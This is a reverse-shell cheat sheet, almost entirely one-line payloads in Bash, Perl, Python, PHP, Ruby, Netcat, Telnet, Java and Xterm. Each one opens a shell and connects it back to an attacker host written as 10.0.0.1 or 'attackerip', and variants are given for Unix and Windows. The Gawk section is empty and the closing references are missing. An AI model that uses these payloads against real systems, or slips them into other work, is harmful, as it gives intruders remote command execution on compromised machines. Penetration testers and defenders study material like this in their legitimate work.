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Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

Create a new descriptor which is assigned to a network node. Then we will read and write to that descriptor (does not work in Debian):

exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done  
# or:
while read line 0<&5; do $line 2>&5 >&5; done

Banner a HTTP server using Bash:

#!/bin/bash
exec 3 /dev/tcp/$1/80
echo -e "Get /simple?se=1 HTTP/1.0\n" >&3
cat <&3

Perl

Unix:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# Without IO
perl -MIO::Socket -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr => "127.0.0.1:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# Without IO
perl -MIO::Socket -e '$c=new IO::Socket::INET(PeerAddr => "127.0.0.1:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
print $sock eval(<$sock>) while ($sock ||= IO::Socket::INET->new(PeerAddr => "127.0.0.1", PeerPort => "23666"))

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php $sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3"); ?>

Ruby

Unix

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Windows

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

NetCat

nc -e /bin/sh 10.0.0.1 1234
nc -c /bin/sh 10.0.0.1 1234
/bin/sh | nc attackerip 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p 2>&1

Two connections:

nc localhost 1233 | /bin/sh | nc 127.0.0.1 1234

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p 2>&1
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445   # Remember to listen on your machine also on port 4445/tcp

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Xterm

xterm -display attackerip:1
# Or:
DISPLAY=attackerip:0 xterm

On solaris /usr/openwin/bin/xterm -display attackerip:1

Xnest :1
xterm -display 127.0.0.1:1  # Run this OUTSIDE the Xnest
xhost +targetip             # Run this INSIDE the spawned xterm on the open X Server

Gawk

``

References